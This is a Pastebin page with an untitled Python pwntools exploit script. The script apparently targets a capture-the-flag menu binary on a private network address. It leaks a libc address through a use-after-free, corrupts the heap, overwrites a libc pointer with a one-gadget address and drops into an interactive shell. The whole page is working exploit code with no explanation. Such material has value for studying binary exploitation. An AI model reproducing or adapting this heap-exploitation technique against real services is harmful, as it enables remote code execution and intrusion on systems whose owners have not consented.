daily pastebin goal
85%
SHARE
TWEET

Untitled

a guest Nov 21st, 2017 45 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from pwn import *
  2.  
  3. #s = remote('192.168.0.12',1234)
  4. s =remote('10.10.134.127', 30004)
  5. def add(name):
  6.   s.recvuntil('>>>')
  7.   s.sendline('1')
  8.   s.recvuntil('name')
  9.   s.send(name)
  10.  
  11. def select(index):
  12.   s.recvuntil('>>>')
  13.   s.sendline('2')
  14.   s.recvuntil('>>>')
  15.   s.sendline(str(index))
  16.  
  17. def delete():
  18.   s.recvuntil('>>>')
  19.   s.sendline('3')
  20.   s.recvuntil('action')
  21.   s.sendline('-1')
  22.  
  23. def show():
  24.   s.recvuntil('>>>')
  25.   s.sendline('3')
  26.  
  27. def add_unit(name):
  28.   s.recvuntil('>>>')
  29.   s.sendline('1')
  30.   s.recvuntil('name')
  31.   s.send(name)
  32.  
  33. def uaf():
  34.   s.recvuntil('>>>')
  35.   s.sendline('3')
  36.   s.recvuntil('action :')
  37.   s.sendline('21')
  38.   s.recvuntil('action :')
  39.   s.sendline('1')
  40.   s.recvuntil('action :')
  41.   s.sendline('1')
  42.   s.recvuntil('action :')
  43.   s.sendline('1')
  44. #  s.recvuntil('action :')
  45. #  s.sendline('0')
  46.  
  47. def out():
  48.   s.recvuntil('>>>')
  49.   s.sendline('5')
  50.  
  51. def delete_unit(index):
  52.   s.recvuntil('>>>')
  53.   s.sendline('2')
  54.   s.recvuntil('>>>')
  55.   s.sendline(str(index))
  56.  
  57. def poison_null(dat):
  58.   s.recvuntil('>>>')
  59.   s.sendline('3')
  60.   s.recvuntil('action :')
  61.   s.sendline('21')
  62.   s.recvuntil('action :')
  63.   s.sendline('0')
  64.   s.recvuntil('hero!')
  65.   s.send(dat)
  66.  
  67. raw_input()
  68. s.recvuntil('>>>')
  69. s.send("AAAA")
  70. # show me the money
  71. s.recvuntil('>>>')
  72. s.sendline('4444')
  73. s.recvuntil('>>>')
  74. s.sendline('show me the money!')
  75. add("AAAA")
  76. add("AAAA")
  77. select(0)
  78. delete()
  79. add('A')
  80. show()
  81. libc = u64(s.recvuntil('[  1]')[-7-6:-7]+'\x00\x00') - 0x3c4b41
  82. log.info("LIBC : 0x%x"%libc)
  83. select(0)
  84. add_unit('ABCD')
  85. add_unit('ABCD')
  86. add_unit('ABCD')
  87. out()
  88. raw_input()
  89. add('BBBB')
  90. select(0)
  91. uaf()
  92. out()
  93. select(2)
  94. delete()
  95. add('BBBB')
  96. select(0)
  97. s.recvuntil('>>>')
  98. s.sendline('3')
  99. s.recvuntil('action :')
  100. s.sendline('21')
  101. s.recvuntil('action :')
  102. s.sendline('16')
  103. s.recvuntil('hero')
  104. s.sendline('A'*0x10)
  105. s.recvuntil('action :')
  106. s.sendline('16')
  107. s.recvuntil('hero')
  108. s.sendline('A'*0x10)
  109. s.recvuntil('action :')
  110. s.sendline('16')
  111. s.recvuntil('hero')
  112. s.send("A"*0x10+p64(libc+0x3c67a8-0x50))
  113. out()
  114. select(2)
  115. s.recvuntil('>>>')
  116. s.sendline('3')
  117. s.recvuntil('action :')
  118. s.sendline('21')
  119. s.recvuntil('action :')
  120. s.sendline('16')
  121. s.recvuntil('hero')
  122. s.send(p64(libc+0x4526a))
  123. s.interactive()
RAW Paste Data
Top